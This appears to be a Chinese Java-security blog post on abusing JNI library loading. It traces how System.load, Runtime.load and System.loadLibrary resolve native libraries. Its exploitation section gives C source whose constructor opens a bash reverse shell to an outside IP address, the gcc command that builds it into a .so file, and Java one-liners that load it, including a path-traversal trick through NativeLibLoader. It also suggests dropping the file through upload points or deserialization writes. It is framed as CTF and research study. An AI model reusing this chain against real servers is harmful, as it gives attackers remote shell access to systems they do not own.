JNI
JNI的定义
JNI(Java Native Interface),它允许Java虚拟机中运行的Java代码与其它编程语言(如C、C++和汇编语言)编写的应用程序和库进行调用处理操作。在如下几种情况可以使用:
- 标准Java类库不支持应用程序所需的平台相关功能。
- 已经使用另一种语言编写的库,可以通过JNI让Java代码访问来调用它
- 想使用汇编等第语言实现一小部分关键代码
由此,我们可以通过加载动态链接库来进行利用。
JNI的利用
代码调试
不同的系统加载的动态链接库文件后缀是不同的,比如linux是.so文件,而windows是.dll文件,macos系统下就是.dylib文件等,这里主要是说明在linux下的利用。
关于jni的一些代码说明,如下文章已经说的非常清楚了:
https://tttang.com/archive/1436/
简单调试分析一下即可,我们常利用的代码如下:
1
2
3
4
5
6
7
|
package org.example;
public class Text {
public static void main(String[] args) throws Exception {
System.load("/tmp/123.so");
}
}
|
本质是调用的Runtime类的load0()方法:

在java的注释中可以看到对这个System.load()方法有一些说明:

所以这里动态加载的so库文件需要给出完整的路径。
跟进Runtime类的load0()方法:

很容易看到这里其实在Runtime类中也存在一个load()方法可以调用到指定的load0()方法,所以其实也可以如下调用:
1
2
3
4
5
6
7
8
9
10
|
package org.example;
public class Text {
public static void main(String[] args) throws Exception {
System.load("/tmp/123.so");
Runtime.getRuntime().load("/tmp/123.so");
// System.out.println("Hello World!");
// System.out.println(System.getProperty("java.library.path"));
}
}
|
也就是通过Runtime来进行加载动态链接库,回到调试过程:

先是判断是否为绝对路径,然后调用了loadLibrary()方法并在参数传递中将isAbsolute设置为了true:

然后就会调用loadLibrary0()进行加载,然后这个方法对要加载的库进行了一些判断,可以直接从抛出的异常来看:
是否已经被加载:

正在被加载:

若无上述情况,最后就会调用NativeLibrary类的load()方法进行加载:

后续的NativeLibrary类的load()方法就比较底层了,不涉及。
——————————
同时其实还存在一个动态加载链接库的方法,但局限性比较高,主要是加载指定链接库路径(一般都是java.library.path指定路径)的库文件,就是System.loadLibrary()方法,主要和前面的load()对比一下,使用的代码如下:
1
2
3
4
5
6
7
8
9
|
package org.example;
public class Text {
public static void main(String[] args) throws Exception {
System.loadLibrary("123");
// System.out.println("Hello World!");
// System.out.println(System.getProperty("java.library.path"));
}
}
|
简单调试一下过程:

在注解中看到对应方法的说明:

也就是说要求输入的libname参数只能为文件名,并且没有对应库文件后缀(123.so => 123)。
再看调试,同样的Runtime类的loadLibrary0()方法,并且Runtime类也有loadLibrary()方法来调用loadLibrary0()方法:

同样会调用ClassLoader.loadLibrary(),这次的关键代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
if (loader != null) {
String libfilename = loader.findLibrary(name);
if (libfilename != null) {
File libfile = new File(libfilename);
if (!libfile.isAbsolute()) {
throw new UnsatisfiedLinkError(
"ClassLoader.findLibrary failed to return an absolute path: " + libfilename);
}
if (loadLibrary0(fromClass, libfile)) {
return;
}
throw new UnsatisfiedLinkError("Can't load " + libfilename);
}
}
for (int i = 0 ; i < sys_paths.length ; i++) {
File libfile = new File(sys_paths[i], System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
libfile = ClassLoaderHelper.mapAlternativeName(libfile);
if (libfile != null && loadLibrary0(fromClass, libfile)) {
return;
}
}
if (loader != null) {
for (int i = 0 ; i < usr_paths.length ; i++) {
File libfile = new File(usr_paths[i],
System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
libfile = ClassLoaderHelper.mapAlternativeName(libfile);
if (libfile != null && loadLibrary0(fromClass, libfile)) {
return;
}
}
}
// Oops, it failed
throw new UnsatisfiedLinkError("no " + name + " in java.library.path");
|
可以看到就是在找文件,找到了的话就再调用loadLibrary0()方法进行加载,但是可以看出都是在指定路径下找,什么sys_path等,所以说灵活性是没有load()方法高的,并且可利用点也是相对较低的。
总结利用
说了这么多相关代码,我们在javasec中可以怎么利用,必不可少的是需要可以执行任意的java代码,这样才能调用System.load()方法,怎么存在这个so文件就是一个难题,简单想了一下,至少有如下两个点:
- 文件上传点,上传一个编译好了的so文件
- 写文件处,通过一些方法如反序列化等来写入so文件
等等,就待后续发掘了。
其次就是这个so文件该怎么写,前面说了可以加载c、c++等语言,这里一个常见的so文件生成过程(以linux环境为例):
Haha.c:
1
2
3
4
5
6
7
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/47.100.223.173/2333 0>&1'");
}
|
这个__attribute__ ((__constructor__))也是了解过了的,就是可以让它修饰的函数在main()函数前执行,非常好用。
然后编译成so文件(linux环境下):
1
|
gcc -shared -fPIC haha.c -o haha.so
|
然后将这个so文件想方式弄服务器上就行了。
然后执行java代码来加载so文件即可,如下几种都行:
1
2
3
4
5
|
System.load("/tmp/123.so");
java.lang.Runtime.getRuntime().load("/tmp/123.so");
com.sun.glass.utils.NativeLibLoader.loadLibrary("../../../../../../tmp/123");
|
这里提到的NativeLibLoader有一定的局限性,先看怎么为什么可以利用,聚焦于NativeLibLoader.loadLibrary()方法,主要在其内部调用的loadLibraryInternal()=>loadLibraryFullPath()方法中:

可以看到判断了操作系统来判断动态加载链接库的文件后缀,前面还判断了一下libDir,也就是本地库路径,但是这里是将传入的libraryName直接拼接进并且前面调用过程中没有什么检测,所以可以通过目录穿越来加载绝对路径的so文件,最后调用了System.load()方法加载。
非常符合利用过程,但是看有的文章说这个类并不是jdk通用的,我这里的jdk8u71和jdk8u411都是有的,到时候再看吧。
这个方法是非常好用的,多思考,以及更深层次的反射调用更底层的方法,主要融会贯通,同时在那些场景要想到可以使用这个方法。
————————
例题可以看第十届上海市大学生网络安全大赛的jaba_ez题。
关于jni的更多说明就参考官方说明:
https://docs.oracle.com/javase/8/docs/technotes/guides/jni/spec/intro.html
参考文章:
https://tttang.com/archive/1436/
https://pankas.top/2024/03/09/%E6%B5%85%E6%9E%90java%E5%AE%89%E5%85%A8%E4%B8%ADjni%E7%9A%84%E5%88%A9%E7%94%A8%E6%89%8B%E6%B3%95/